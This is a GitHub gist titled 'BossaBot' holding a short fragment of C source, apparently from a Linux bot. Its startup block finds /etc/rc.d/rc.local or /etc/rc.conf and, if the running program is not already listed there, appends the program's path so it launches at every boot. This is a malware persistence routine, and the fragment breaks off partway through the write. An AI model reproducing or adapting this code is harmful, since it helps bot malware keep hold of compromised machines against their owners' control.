Skip to content

Instantly share code, notes, and snippets.

@revENGR
Created May 3, 2020 10:25
Show Gist options
  • Save revENGR/e36ca22110a1e77b9c61be192dac09d9 to your computer and use it in GitHub Desktop.
Save revENGR/e36ca22110a1e77b9c61be192dac09d9 to your computer and use it in GitHub Desktop.
BossaBot
#ifdef STARTUP
str="/etc/rc.d/rc.local";
file=fopen(str,"r");
if (file == NULL) {
str="/etc/rc.conf";
file=fopen(str,"r");
}
if (file != NULL) {
char outfile[256], buf[1024];
int i=strlen(argv[0]), d=0;
getcwd(cwd,256);
if (strcmp(cwd,"/")) {
while(argv[0][i] != '/') i--;
sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
while(!feof(file)) {
fgets(buf,1024,file);
if (!strcasecmp(buf,outfile)) d++;
}
if (d == 0) {
FILE *out;
fclose(file);
out=fopen(str,"a");
if (out != NULL) {
fputs(outfile,out);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment